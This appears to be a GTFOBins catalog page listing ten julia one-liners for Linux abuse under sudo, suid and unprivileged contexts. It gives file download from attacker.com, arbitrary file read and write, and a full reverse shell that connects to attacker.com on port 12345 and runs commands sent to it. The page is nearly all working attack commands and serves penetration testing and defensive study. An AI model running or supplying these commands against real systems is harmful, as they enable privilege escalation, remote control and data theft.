Catalog GTFOBins

GTFO · Tool

julia

15 techniques LinuxGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation Linux
julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation Linux
julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'
Context
suid
Native
download
MITRE
T1105

download

File Download Linux
julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'
Context
unprivileged
Native
download
MITRE
T1105

file-read

File ReadPrivilege Escalation Linux
julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation Linux
julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'
Context
suid
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation Linux
julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation Linux
julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'
Context
suid
Native
file-write
MITRE
T1565

reverse-shell

Reverse/Bind ShellPrivilege Escalation Linux
julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege Escalation Linux
julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind Shell Linux
julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
Context
unprivileged
Native
reverse-shell